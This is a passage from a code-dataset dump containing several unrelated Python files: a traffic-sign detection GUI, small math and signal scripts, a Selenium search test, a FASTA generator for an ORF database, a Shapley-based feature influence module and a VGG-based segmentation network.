image[int(ymin):int(ymax), int(xmin):int(xmax)]\n if qrcode_detected_flag > 5 and (ymax - ymin) / h0 > 0.4:\n qrcode_detected_flag = 0\n display_status.config(text=(qrdata + \"QR code detected!\"))\n print(qrdata + \" QR Code detected!\")\n # mqtt_client.publish_label(qrdata)\n\n for box in stop_boxes:\n x, y, w, h = box\n cx, cy = (int(x + w / 2), int(y + h / 2))\n display_status.config(text=\"STOP sign detected!\")\n\n degree_cur = (cx0 - cx) / w0 * 53.4\n degree_changed_flag += 1\n if degree_changed_flag > 0 and abs(degree_pre - degree_cur) > 2:\n degree_changed_flag = 0\n degree_pre = degree_cur\n # mqtt_client.publish_angle(degree_cur / 4)\n\n cv2.rectangle(gray, (x, y), (x + w, y + h), (255, 0, 0), 1)\n cv2.circle(gray, (cx, cy), 1, (255, 0, 0), 2)\n cv2.line(gray, (cx, 0), (cx, h0), 255, 1)\n roi = image[y:(y + h), x:(x + w)]\n\n stop_detected_flag += 1\n if stop_detected_flag > 5 and h / h0 > 0.5:\n stop_detected_flag = 0\n speed_limit_detected_flag = 0\n print(\"STOP detected!\")\n # mqtt_client.publish_label(\"01\")\n\n for box in speed_limit_boxes:\n x, y, w, h = box\n cx, cy = (int(x + w / 2), int(y + h / 2))\n display_status.config(text=\"Speed Limit sign detected!\")\n\n cv2.rectangle(gray, (x, y), (x + w, y + h), (0, 255, 0), 1)\n cv2.circle(gray, (cx, cy), 1, (0, 255, 0), 2)\n cv2.line(gray, (cx, 0), (cx, h0), 255, 1)\n roi = image[y:(y + h), x:(x + w)]\n\n speed_limit_detected_flag += 1\n if (speed_limit_detected_flag > 5) and h / h0 > 0.4:\n stop_detected_flag = 0\n speed_limit_detected_flag = 0\n print(\"Speed Limit detected!\")\n # mqtt_client.publish_label(\"04\")\n\n for box in yield_boxes:\n x, y, w, h = box\n cx, cy = (int(x + w / 2), int(y + h / 2))\n display_status.config(text=\"Yield sign detected!\")\n\n cv2.rectangle(gray, (x, y), (x + w, y + h), (0, 255, 0), 1)\n cv2.circle(gray, (cx, cy), 1, (0, 255, 0), 2)\n cv2.line(gray, (cx, 0), (cx, h0), 255, 1)\n roi = image[y:(y + h), x:(x + w)]\n\n yield_detected_flag += 1\n if (yield_detected_flag > 5) and h / h0 > 0.5:\n yield_detected_flag - 0\n print(\"Yield detected!\")\n # mqtt_client.publish_label(\"05\")\n\n img = Image.fromarray(gray)\n img = img.resize((320, 240))\n imgtk = ImageTk.PhotoImage(image=img)\n display_process.imgtk = imgtk\n display_process.configure(image=imgtk)\n\n if (roi is not None):\n cv2roi = cv2.cvtColor(roi, cv2.COLOR_BGR2RGBA)\n img = Image.fromarray(cv2roi)\n img = img.resize((320, 240))\n else:\n img = Image.new('RGB', (320, 240), (255, 255, 255))\n\n imgtk = ImageTk.PhotoImage(image=img)\n display_roi.imgtk = imgtk\n display_roi.configure(image=imgtk)\n window.after(10, show_frame)\n\n\n# show_frame()\nwindow.mainloop()\n# mqtt_client.loop_stop()\n","sub_path":"collect_frame_gui.py","file_name":"collect_frame_gui.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"444794131","text":"from math import sqrt\n\nif __name__ == '__main__':\n x = int(input())\n list_of_x = []\n while x != 0:\n list_of_x.append(x)\n x = int(input())\n s = sum(list_of_x) / len(list_of_x)\n sum_of_subtractions = 0\n for x in list_of_x:\n sum_of_subtractions += (x - s) ** 2\n deviation = sqrt(sum_of_subtractions / (len(list_of_x) - 1))\n if deviation.is_integer():\n standart_deviation = deviation\n else:\n standart_deviation = '{0:.11f}'.format(deviation)\n print(standart_deviation)\n","sub_path":"week 3/standart_deviation.py","file_name":"standart_deviation.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"365200521","text":"from string import ascii_uppercase as upper\n\n\ndef coluna_excel(letra: int):\n coluna = \"\" # inicializa a variável\n while letra > 0:\n # 26 letras, porém a lista inicia no índice 0\n indice = int((letra - 1) % 26)\n # adiciona a nova letra sempre a esquerda,\n # como seria a escrita de um número maior\n coluna = upper[indice] + coluna\n \n # reduz a letra na base 26. Divisão inteira,\n # sem as casas decimais\n letra = (letra - 1) // 26\n\n\n\n\n","sub_path":"all/037.py","file_name":"037.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"45909739","text":"# coding=utf-8\nimport time\nimport unittest\nimport os\nimport sys \nsys.path.append('/Users/sonic/Project/Python/MyFrame/')\n\nfrom common.browser_engine import BrowserEngine\nfrom pageobject.bing_homepage import HomePage\n \n \nclass BingSearch(unittest.TestCase):\n \n def setUp(self):\n browse = BrowserEngine(self)\n self.driver = browse.open_browser(self)\n \n def tearDown(self):\n self.driver.quit()\n \n def test_bing_search(self):\n\n homepage = HomePage(self.driver)\n\n homepage.type_search1('')\n homepage.type_clear()\n homepage.est_click()\n homepage.type_search2('')\n\n homepage.search_btn()\n time.sleep(3)\n homepage.get_windows_img()\n time.sleep(3)\n\n try:\n assert 'python - 国际版 Bing' in self.driver.title\n print ('Test Pass.')\n except Exception as e:\n print ('Test Fail.', format(e))\n \nif __name__ == '__main__':\n unittest.main()","sub_path":"MyFrame/testsuites/test_bing_search.py","file_name":"test_bing_search.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"264226542","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 27 19:08:54 2020\n\n@author: santi\n\"\"\"\nimport numpy as np\nimport sounddevice as sd\n\ndef tono(T, fs, A, f):\n muestra = 1 / fs\n tiempo = np.arange(0,T,muestra)\n a = 2 * np.pi * f * tiempo\n tono = A * np.sin(a)\n return tono\n\n# sd.play(tono(3,44100,0.03,500))\n\ndef onda_triangular(T, fs, A, K, f):\n muestra = 1 / fs\n tiempo = np.arange(0,T,muestra)\n triangular = np.zeros(T * fs)\n for k in range(1,K+1):\n ck = (4 * (1-(-1)**k)) / np.square(np.pi * k)\n triangular += A * ck * np.cos(2 * np.pi * k * f * tiempo)\n return triangular\n\ndef min_distinto_cero(x):\n minimo = 1\n for i in range(0, len(x)):\n if x[i] < minimo and x[i] != 0:\n minimo = x[i]\n return minimo\n\n\ndef a_dbfs(x):\n x = abs(x)\n minimo = min_distinto_cero(x)\n for i in range(0, len(x)):\n if x[i] == 0:\n x[i] = minimo\n return 20 * np.log10(x)\n\ndef saw(T, fs, A, K, f):\n muestra = 1 / fs\n tiempo = np.arange(0,T,muestra)\n out = np.zeros(T * fs)\n for k in range(1,K+1):\n out += (np.sin(2 * np.pi * k * f * tiempo)) / k\n out *= (A * 4) / np.pi\n return out\n\n\ndef onda_cuadrada(T, fs, A, K, f):\n muestra = 1 / fs\n tiempo = np.arange(0,T,muestra)\n out = np.zeros(T * fs)\n for k in range(1,K+1,2):\n out += (np.sin(2 * np.pi * k * f * tiempo)) / k\n out *= (A * 4) / np.pi\n return out\n","sub_path":"Practica 4 - Fourier/tono.py","file_name":"tono.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"308593657","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport pandas as pd\n\n\nfrom fr.tagc.uorf.core.model.PRO import *\n\nfrom fr.tagc.uorf.core.util import Constants\nfrom fr.tagc.uorf.core.util.sql.SQLManagerPRO import SQLManagerPRO\nfrom fr.tagc.uorf.core.util.sql import SQLConstants\nfrom fr.tagc.uorf.core.util.option.OptionManager import OptionManager\nfrom fr.tagc.uorf.core.util.option import OptionConstants\nfrom fr.tagc.uorf.core.util.genetics import GeneticsConstants\nfrom fr.tagc.uorf.core.util.general.GeneralUtil import GeneralUtil\nfrom fr.tagc.uorf.core.util.general.FileHandlerUtil import FileHandlerUtil\nfrom fr.tagc.uorf.core.util.exception import *\nfrom fr.tagc.uorf.core.util.log.Logger import Logger\n\n\n\n# ===============================================================================\n# Description of the FASTA file\n# ===============================================================================\n\n# For each sequence, a header and one or several lines containing\n# the ORF sequence is written is the FASTA file, such as:\n#\n# - The first line is a header, starting with '>':\n#\n# - If the query is performed using the ORF table, then the header contains:\n# - Three following pipe-separated values:\n# - [0] The alias of the database / the source - String\n# - [1] The ORF ID (with the 'ORF' prefix) - String (e.g. ORF246)\n# - [2] The ORF ID (with the 'ORF' prefix) followed by the taxon code - String\n# (e.g. ORF246_HUMAN)\n#\n# - Optionally (for long titles only) the following values are added, \n# separated by one space character (using a key=value notation):\n# - The taxon scientific name. e.g. OS=Homo sapiens\n# - The chromosome (or scaffold) name. e.g. chr=6\n# - The strand. e.g. strand=+\n# - The absolute genomic start position. e.g. start_pos=32972748\n# - The absolute genomic stop position. e.g. stop_pos=32972927\n# - The number of exons. e.g. exons=1\n# - The full name of the database. e.g. database=MetamORF\n# - The URL of the database. url=http://example.com\n# - The version of the database (when available). e.g. release=1.1\n#\n# - If the query is performed using the ORFTranscriptAsso table, \n# then the header contains:\n# - Three following pipe-separated values:\n# - [0] The alias of the database / the source - String\n# - [1] The ORFTranscriptAsso ID (with the 'OTA' prefix) - String (e.g. OTA520)\n# - [2] The ORFTranscriptAsso ID (with the 'OTA' prefix) \n# followed by the taxon code - String (e.g. ORFTranscriptAsso520_HUMAN)\n#\n# - Optionally (for long titles only) the following values are added, \n# separated by one space character (using a key=value notation):\n# - The taxon scientific name. e.g. OS=Homo sapiens\n# - The relative start position. e.g. start_pos=25\n# - The relative stop position. e.g. stop_pos=72\n# - The ORF ID related to the entry. e.g. orf_id=120\n# - The Transcript ID related to the entry. e.g. transcript_id=128\n# - The full name of the database. e.g. database=MetamORF\n# - The URL of the database. url=http://example.com\n# - The version of the database (when available). e.g. release=1.1\n#\n# - The following line(s) contains the sequence, split every 60 characters\n\n\n\n\n# ===============================================================================\n# Strategy\n# ===============================================================================\n \n\n## GenerateFastaFileStrategy\n# =========================\n#\n# This class is a strategy aiming to generate a FASTA file using \n# the information contained either in the ORF table or in the \n# ORFTranscriptAsso table of the PRO database.\n#\nclass GenerateFastaFileStrategy( object ):\n \n ## Class variables\n # --------------- \n # Tables that may be used to generate the FASTA file\n ORF_TABLE = 'ORF'\n OTA_TABLE = 'OTA'\n \n # Dictionary that associates to the type of sequence and name \n # of the table, the appropriate sequence attribute name\n SEQUENCE_ATTRIBUTES = { Constants.SEQUENCE_TYPE_DNA : { ORF_TABLE : 'sequence',\n OTA_TABLE : 'sequence_nt' },\n Constants.SEQUENCE_TYPE_PROT : { ORF_TABLE : 'sequence_aa',\n OTA_TABLE : 'sequence_aa' } }\n \n # FASTA extension\n FASTA_FILE_EXTENSION = '.fasta'\n \n # Source name\n FASTA_SOURCE_NAME = Constants.PROJECT_ALIAS\n \n # Maximum number of character of the sequence \n # to display on the same line\n MAX_SEQ_LINE_LENGTH = 60\n\n \n\n ## Constructor of GenerateFastaFileStrategy\n # ----------------------------------------\n #\n # Instance variables:\n # - db_settings: Dictionary - A dictionary of settings. This may include:\n # - The database name.\n # - The database type (SQLite / MySQL).\n # - For SQLite databases: the folder of SQLite file.\n # - For MySQL databases: the MySQL user, password, host IP and port.\n # - output_folder: String - The name of the folder where to export the FASTA file.\n # - filename: String - The name of the FASTA file.\n # - seq_type: String - The type of sequence to use ('DNA' for nucleic sequences or \n # 'PROT' for amino acid sequences). \n # - table_type: String - The name of the table to query ('ORF' or 'OTA') \n # to get the sequences.\n # \n def __init__( self ):\n \n # Get the options necessary to establish the connection to the database\n self.db_settings = {}\n self.db_settings[ Constants.DB_SETTINGS_DB_TYPE ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_TYPE )\n self.db_settings[ Constants.DB_SETTINGS_DB_NAME ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_NAME, \n not_none = True )\n \n if ( self.db_settings[ Constants.DB_SETTINGS_DB_TYPE ] == SQLConstants.DB_TYPE_MYSQL ):\n self.db_settings[ Constants.DB_SETTINGS_MYSQL_USER ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_MYSQL_USER )\n self.db_settings[ Constants.DB_SETTINGS_MYSQL_PASSWD ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_MYSQL_PASSWD )\n self.db_settings[ Constants.DB_SETTINGS_MYSQL_HOST ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_MYSQL_HOST_IP )\n self.db_settings[ Constants.DB_SETTINGS_MYSQL_PORT ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_MYSQL_PORT )\n \n elif ( self.db_settings[ Constants.DB_SETTINGS_DB_TYPE ] == SQLConstants.DB_TYPE_SQLITE ):\n self.db_settings[ Constants.DB_SETTINGS_DB_FOLDER ] = OptionManager.get_instance().get_option( OptionConstants.OPTION_DB_FOLDER )\n \n # Get the output folder\n self.output_folder = OptionManager.get_instance().get_option( OptionConstants.OPTION_OUTPUT_FOLDER, \n not_none = False )\n # By default, save the file in a FASTA folder\n if ( not self.output_folder ):\n self.output_folder = Constants.FASTA_FOLDER\n \n # Get the eventual filename\n self.filename = OptionManager.get_instance().get_option( OptionConstants.OPTION_FASTA_FILENAME, \n not_none = False )\n # By default, name the file 'DenCellORF_ORF'\n if ( not self.filename ):\n self.filename = Constants.DEFAULT_FASTA_FILENAME\n \n # Get the type of sequence to use to generate the FASTA file (DNA or PROT)\n self.seq_type = OptionManager.get_instance().get_option( OptionConstants.OPTION_FASTA_SEQ_TYPE,\n not_none = False )\n # By default, generate a FASTA of amino acid sequences\n if ( not self.seq_type ):\n self.seq_type = Constants.SEQUENCE_TYPE_PROT\n \n # Get the table to query to get the sequences (ORF or ORFTranscriptAsso)\n self.table_type = OptionManager.get_instance().get_option( OptionConstants.OPTION_FASTA_QUERY_TABLE,\n not_none = False )\n \n # By default, generate the file using the content of the ORF table\n if ( not self.table_type ):\n self.table_type = self.ORF_TABLE\n \n # Get the name of the attribute to use to get the sequence\n self.seq_attribute_name = self.SEQUENCE_ATTRIBUTES[ self.seq_type ][ self.table_type ]\n \n # Get the option informing if the sequences that have stop codons have to be excluded\n self.exclude_sqce_with_stops = OptionManager.get_instance().get_option( OptionConstants.OPTION_FASTA_EXCLUDE_SQCES_WITH_STOP,\n not_none = False )\n \n # Get the option allowing to generate long headers\n self.long_header = OptionManager.get_instance().get_option( OptionConstants.OPTION_FASTA_LONG_HEADERS,\n not_none = False ) \n \n \n \n ## execute\n # -------\n #\n # Execute the strategy to generate the FASTA file.\n # \n # @throw DenCellORFException: When an exception has been raised creating a session to the database.\n # @throw DenCellORFException: When there is no sequence to write in the file.\n #\n def execute( self ):\n \n # Create a session to the \"PRO-like\" database\n SQLManagerPRO.get_instance().set_db_settings( self.db_settings )\n \n try:\n SQLManagerPRO.get_instance().get_session()\n except Exception as e:\n raise DenCellORFException( 'GenerateFastaFileStrategy.execute(): An error occurred trying to' +\n ' create a session to the database.' +\n '\\n Error code: ' + LogCodes.ERR_SQL_SESSION + '.', e)\n SQLManagerPRO.get_instance().close_session()\n \n \n Logger.get_instance().info( 'Starting to build the FASTA file.' )\n Logger.get_instance().info( 'The fasta file will be created querying the ' + self.table_type +\n ' table and using the ' + self.seq_type + ' sequences.' )\n \n # Create the output folder if it does not yet exist\n # (and its parent folders if necessary )\n if ( not os.path.isdir( self.output_folder ) ):\n os.makedirs( self.output_folder )\n \n file_path = os.path.join( self.output_folder, self.filename ) + self.FASTA_FILE_EXTENSION\n \n # Get the name of the species\n sp = SQLManagerPRO.get_instance().get_session().query( PROSpeciesCatalog ).one().name\n SQLManagerPRO.get_instance().close_session()\n \n # Get the informations related to the species\n # NB: These information will be used in the headers\n taxon_sc_name = Constants.SPECIES_CATALOG_FULL_NAMES_WITH_CAPS[ sp ]\n taxon_code = Constants.SPECIES_CATALOG_CODE[ sp ]\n taxon_id = Constants.SPECIES_CATALOG_TAXON_ID[ sp ]\n \n # Get the version number of the database\n db_release = SQLManagerPRO.get_instance().get_session().query( \n PROMetadata.value \n ).filter( \n PROMetadata.parameter == Constants.METATABLE_DATABASE_VERSION_NUMBER\n ).all()\n db_release = GeneralUtil.query_result_to_list( db_release )\n if ( len( db_release ) == 1 ):\n db_release = db_release[ 0 ]\n else:\n db_release = ''\n \n \n # Create the FASTA file\n # --------------------- \n # Get the information necessary to compute the file content\n if ( self.table_type == self.ORF_TABLE ):\n # Get the necessary information from the ORF table\n all_orfs_query = SQLManagerPRO.get_instance().get_session().query( \n ORF.id,\n ORF.chromosome,\n ORF.strand,\n ORF.start_pos,\n ORF.stop_pos,\n ORF.spliced_parts_count,\n eval( 'ORF.' + self.seq_attribute_name ) \n ).filter(\n eval( 'ORF.' + self.seq_attribute_name ) != None\n )\n \n else:\n # Get the necessary information from the ORFTranscriptAsso table\n all_orfs_query = SQLManagerPRO.get_instance().get_session().query( \n ORFTranscriptAsso.id,\n ORFTranscriptAsso.orf_id,\n ORFTranscriptAsso.transcript_id,\n ORFTranscriptAsso.rel_start_pos,\n ORFTranscriptAsso.rel_stop_pos,\n eval( 'ORFTranscriptAsso.' + self.seq_attribute_name )\n ).filter(\n eval( 'ORFTranscriptAsso.' + self.seq_attribute_name ) != None\n )\n \n # Run the query and get the results as a Pandas data frame\n all_orfs_df = pd.read_sql( all_orfs_query.statement,\n SQLManagerPRO.get_instance().get_engine() )\n SQLManagerPRO.get_instance().close_session()\n \n # Check the query returned a result\n total_sqce_count = all_orfs_df.shape[0]\n if ( total_sqce_count == 0 ):\n raise DenCellORFException( 'It seems that the database you are querying do not contain any' +\n ' entry with sequence (' + self.seq_type + ') in its ' + \n self.table_type + ' table. Hence, the generation of the fasta file' +\n ' has been stopped.' )\n \n all_orfs_df = all_orfs_df.astype( str )\n \n # If the excludeSqcesWithStop option has been selected, \n # then exclude from the data frame all the sequences \n # that contains at least a stop, then remove it\n if self.exclude_sqce_with_stops:\n contains_stop_codon = all_orfs_df.apply( self.check_stop_codons_in_sqce,\n seq_type = self.seq_type,\n seq_attribute_name = self.seq_attribute_name,\n axis=1 ).to_frame()\n contains_stop_codon = contains_stop_codon.rename( columns = { 0: 'contains_stop_codon' } )\n all_orfs_df = pd.concat( [ all_orfs_df, contains_stop_codon ],\n axis = 1 )\n \n # Extract from the data frame the ORF for which the sequence\n # do not contains stop codons\n all_orfs_df = all_orfs_df[ all_orfs_df.contains_stop_codon == False ]\n \n Logger.get_instance().info( str( total_sqce_count - all_orfs_df.shape[0] ) +\n ' sequences (/' + str( total_sqce_count ) + \n ') have been removed as they were containing stop codons' )\n \n \n # For each row, build a string that will be used \n # as header line in the FASTA file\n header = all_orfs_df.apply( self.generate_header, \n axis=1,\n taxon_sc_name = taxon_sc_name, \n taxon_code = taxon_code,\n taxon_id = str( taxon_id ), \n table = self.table_type,\n db_release = db_release,\n long_header = self.long_header ).to_frame()\n header = header.rename( columns = { 0: 'header' } )\n all_orfs_df = pd.concat( [ all_orfs_df, header ],\n axis = 1 )\n\n # Write the FASTA file one line at a time\n with open( file_path, 'w' ) as fasta_file:\n \n for ( index, row ) in all_orfs_df.iterrows():\n \n # Write the header line\n fasta_file.write( '>' + row[ 'header' ] + '\\n' )\n \n # Write the sequence line(s)\n # Split the sequence if it has to be written on several lines\n full_seq = row[ self.seq_attribute_name ]\n seq = '\\n'.join( [ full_seq[ k : k + self.MAX_SEQ_LINE_LENGTH ] for k in range( 0, len( full_seq ), self.MAX_SEQ_LINE_LENGTH ) ] )\n # Write the sequence line(s)\n fasta_file.write( seq + '\\n' )\n \n Logger.get_instance().info( 'The fasta file has been created at ' + file_path + '.' )\n \n \n \n \n ## check_stop_codons_in_sqce\n # -------------------------\n #\n # This is a static method allowing to check if a a sequence\n # contains stop codons.\n # \n # @param row: Pandas Series - A row from the ORF Pandas data frame.\n # @param seq_type: String - The type of sequence (DNA or PROT).\n # @param seq_attribute_name: String - The name of the attribute \n # containing the sequence.\n # \n # @return stop_in_seq: Boolean - True if the sequence contains a stop codon.\n #\n @staticmethod\n def check_stop_codons_in_sqce( row, seq_type, seq_attribute_name ):\n \n seq = row[ seq_attribute_name ]\n \n if seq_type == Constants.SEQUENCE_TYPE_PROT:\n stop_codons_list = [ GeneticsConstants.STOP_CODON ]\n else:\n stop_codons_list = GeneticsConstants.STOP_CODON_SEQUENCES\n \n # As the stop codons have to be found in the same frame than\n # the start codon, split the sequence into a list of \n # 3-characters strings\n seq = [ seq[ k : k+3 ] for k in range( 0, len( seq ), 3 ) ]\n \n # Exclude of the list the last codon of the list, \n # as it is expected to be a stop codon\n seq = seq[ :-1 ]\n \n stop_in_seq = False\n k = 0\n while ( ( not stop_in_seq ) and ( k < len( stop_codons_list ) ) ):\n stop = stop_codons_list[ k ]\n if stop in seq:\n stop_in_seq = True\n k += 1\n \n return stop_in_seq\n \n \n \n ## generate_header\n # ---------------\n #\n # This is a static method allowing to compute \n # the header of a sequence.\n # \n # @param row: Pandas Series - A row from the ORF Pandas data frame.\n # @param taxon_sc_name: String - The species scientific full name (e.g. Homo sapiens).\n # @param taxon_code: String - The taxonomic code (e.g. HUMAN).\n # @param taxon_id: String - The taxonomic ID (e.g. 9606).\n # @param table: String - The table used to perform queries (ORF/OTA).\n # @param db_release: String - The database version number.\n # @param long_header: Boolean - Should long headers be generated?\n # \n # @return header: String - The header value.\n #\n @staticmethod\n def generate_header( row, taxon_sc_name, taxon_code, taxon_id, table, db_release, long_header ):\n \n header = [ GenerateFastaFileStrategy.FASTA_SOURCE_NAME ]\n \n # Define each part of the header\n if ( table == GenerateFastaFileStrategy.ORF_TABLE ):\n header += [ 'ORF' + row[ 'id' ],\n 'ORF' + row[ 'id' ] + '_' + taxon_code,\n 'OS=' + taxon_sc_name,\n 'OX=' + taxon_id,\n 'chr=' + row[ 'chromosome' ],\n 'strand=' + row[ 'strand' ],\n 'start_pos=' + row[ 'start_pos' ],\n 'stop_pos=' + row[ 'stop_pos' ],\n 'exons=' + row[ 'spliced_parts_count' ] ]\n \n else:\n header += [ 'OTA' + row[ 'id' ],\n 'OTA' + row[ 'id' ] + '_' + taxon_code,\n 'OS=' + taxon_sc_name,\n 'OX=' + taxon_id,\n 'rel_start_pos=' + row[ 'rel_start_pos' ],\n 'rel_stop_pos=' + row[ 'rel_stop_pos' ],\n 'orf_id=' + row[ 'orf_id' ],\n 'transcript_id=' + row[ 'transcript_id' ] ]\n \n # Add the database url and version number if available\n header += [ 'database=' + Constants.PROJECT_NAME,\n 'url=' + Constants.WEBSITE_URL ]\n if ( db_release ):\n header.append( 'release=' + db_release ) \n \n # Convert the header into a string\n header_string = '|'.join( header[0:3] )\n if long_header:\n header_string += ' ' + ' '.join( header[3:] )\n \n return header_string\n ","sub_path":"06_src/fr/tagc/uorf/core/execution/GenerateFastaFileStrategy.py","file_name":"GenerateFastaFileStrategy.py","file_ext":"py","file_size_in_byte":23018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"507080412","text":"\"\"\"\ncomplete_method.py\nCopyright (C) 2020 Elodie Escriva, Kaduceo <elodie.escriva@kaduceo.com>\nCopyright (C) 2020 Jean-Baptiste Excoffier, Kaduceo <jeanbaptiste.excoffier@kaduceo.com>\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <https://www.gnu.org/licenses/>.\n\"\"\"\n\nimport pandas as pd\nfrom tqdm import tqdm\n\nfrom utils import standard_penalisation, generate_groups_wo_label\nfrom utils import train_models, explain_groups_w_retrain, influence_calcul\n\n\ndef compute_instance_complete_inf(raw_instance_inf, columns):\n \"\"\"\n Computes influence of each attributs for one instance with the complete method.\n Shapley value approximation (Strumbelj et al. 2010)\n \n Parameters\n ----------\n raw_instance_inf : dict {tuple : float}\n Influence of each group of attributs of a instance.\n columns : list\n Names of attributs in the dataset.\n\n Returns\n -------\n influences : dict {string : float}\n Influence of each attributs for the instance. Key is the attribut name, value in the numeric influence.\n\n \"\"\"\n\n influences = dict([(c, 0) for c in columns])\n\n for i in range(len(columns)):\n for group in raw_instance_inf.keys():\n if i in group:\n pena = standard_penalisation(len(group) - 1, len(columns))\n influences[columns[i]] += influence_calcul(\n pena, raw_instance_inf, group, i\n )\n\n return influences\n\n\ndef compute_complete_influences(raw_influences, X):\n \"\"\"\n Complete method, for all instances\n Shapley value approximation (Strumbelj et al. 2010)\n \n Parameters\n ----------\n raw_influences : dict {int : dict {tuple : float}}\n Influence of each group of attributs for all instances.\n X : pandas.DatFrame\n The training input samples.\n\n Returns\n -------\n influences : dict {string : float}\n Influences for each attributs and each instances in the dataset.\n \"\"\"\n\n complete_influences = pd.DataFrame(columns=X.columns)\n\n for instance in tqdm(X.index, desc=\"Complete influences\"):\n raw_infs = raw_influences[instance]\n influences = compute_instance_complete_inf(raw_infs, X.columns)\n complete_influences = complete_influences.append(\n pd.Series(influences, name=instance)\n )\n\n return complete_influences\n\n\ndef complete_method(X, y, model, problem_type, fvoid=None, look_at=None):\n \"\"\"\n Compute the influences based on the complete method.\n\n Parameters\n ----------\n X : pandas.DatFrame\n The training input samples.\n y : pandas.DataFrame\n The target values (class labels in classification, real numbers in regression).\n model : pandas.DataFrame\n Model to train and explain.\n problem_type :{\"classification\", \"regression\"}\n Type of machine learning problem.\n fvoid : float, default=None\n Prediction when all attributs are unknown. If None, the default value is used (expected value for each class for classification, mean label for regression).\n look_at : int, default=None\n Class to look at when computing influences in case of classification problem.\n If None, prediction is used.\n\n Returns\n -------\n complete_influences : two-dimensional list\n Influences for each attributs and each instances in the dataset.\n\n \"\"\"\n\n groups = generate_groups_wo_label(X.shape[1])\n\n pretrained_models = train_models(model, X, y, groups, problem_type, fvoid)\n raw_influences = explain_groups_w_retrain(\n pretrained_models, X, problem_type, look_at\n )\n\n complete_influences = compute_complete_influences(raw_influences, X)\n\n return complete_influences\n","sub_path":"complete_method.py","file_name":"complete_method.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"603837741","text":"from __future__ import print_function\nimport os\nimport sys\nimport time\nimport datetime\nimport argparse\nimport logging\n\nimport tensorflow as tf\nimport numpy as np\nimport TensorflowUtils as utils\nimport sklearn.metrics as metrics\n\nfrom six.moves import xrange\nfrom datetime import datetime\n\nsys.path.append(\"../\")\nfrom data_generator import data_loader_from_h5_percent as dataset\n\n\nlogger = None\ndef _get_logger(logger_level=logging.INFO):\n logger = logging.getLogger(__name__)\n logger.setLevel(level=logger_level)\n handler = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n return logger\n\n\ndef vgg_net(weights, image):\n layers = (\n 'conv1_1', 'relu1_1', 'conv1_2', 'relu1_2', 'pool1',\n\n 'conv2_1', 'relu2_1', 'conv2_2', 'relu2_2', 'pool2',\n\n 'conv3_1', 'relu3_1', 'conv3_2', 'relu3_2', 'conv3_3',\n 'relu3_3', 'conv3_4', 'relu3_4', 'pool3',\n\n 'conv4_1', 'relu4_1', 'conv4_2', 'relu4_2', 'conv4_3',\n 'relu4_3', 'conv4_4', 'relu4_4', 'pool4',\n\n 'conv5_1', 'relu5_1', 'conv5_2', 'relu5_2', 'conv5_3',\n 'relu5_3', 'conv5_4', 'relu5_4'\n )\n\n net = {}\n current = image\n for i, name in enumerate(layers):\n kind = name[:4]\n if kind == 'conv':\n kernels, bias = weights[i][0][0][0][0]\n # matconvnet: weights are [width, height, in_channels, out_channels]\n # tensorflow: weights are [height, width, in_channels, out_channels]\n kernels = utils.get_variable(np.transpose(kernels, (1, 0, 2, 3)), name=name + \"_w\")\n bias = utils.get_variable(bias.reshape(-1), name=name + \"_b\")\n current = utils.conv2d_basic(current, kernels, bias)\n elif kind == 'relu':\n current = tf.nn.relu(current, name=name)\n if args.debug:\n utils.add_activation_summary(current)\n elif kind == 'pool':\n current = utils.avg_pool_2x2(current)\n net[name] = current\n\n return net\n\n\ndef inference(args, image, keep_prob):\n \"\"\"\n Semantic segmentation network definition\n :param image: input image. Should have values in range 0-255\n :param keep_prob:\n :return:\n \"\"\"\n logger.info(\"setting up vgg initialized conv layers ...\")\n \n # import pdb; pdb.set_trace()\n model_data = utils.get_model_data(args.model_dir, args.model_url)\n mean = model_data['normalization'][0][0][0]\n mean_pixel = np.mean(mean, axis=(0, 1))\n weights = np.squeeze(model_data['layers'])\n\n # processed_image = utils.process_image(image, mean_pixel)\n processed_image = image\n with tf.variable_scope(\"inference\"):\n image_net = vgg_net(weights, processed_image)\n conv_final_layer = image_net[\"conv5_3\"]\n\n pool5 = utils.max_pool_2x2(conv_final_layer)\n image_net['pool5'] = pool5\n\n W6 = utils.weight_variable([7, 7, 512, 4096], name=\"W6\")\n b6 = utils.bias_variable([4096], name=\"b6\")\n conv6 = utils.conv2d_basic(pool5, W6, b6)\n relu6 = tf.nn.relu(conv6, name=\"relu6\")\n if args.debug:\n utils.add_activation_summary(relu6)\n relu_dropout6 = tf.nn.dropout(relu6, keep_prob=keep_prob)\n image_net['conv6'] = conv6\n image_net['relu6'] = relu6\n image_net['relu_dropout6'] = relu_dropout6\n\n\n W7 = utils.weight_variable([1, 1, 4096, 4096], 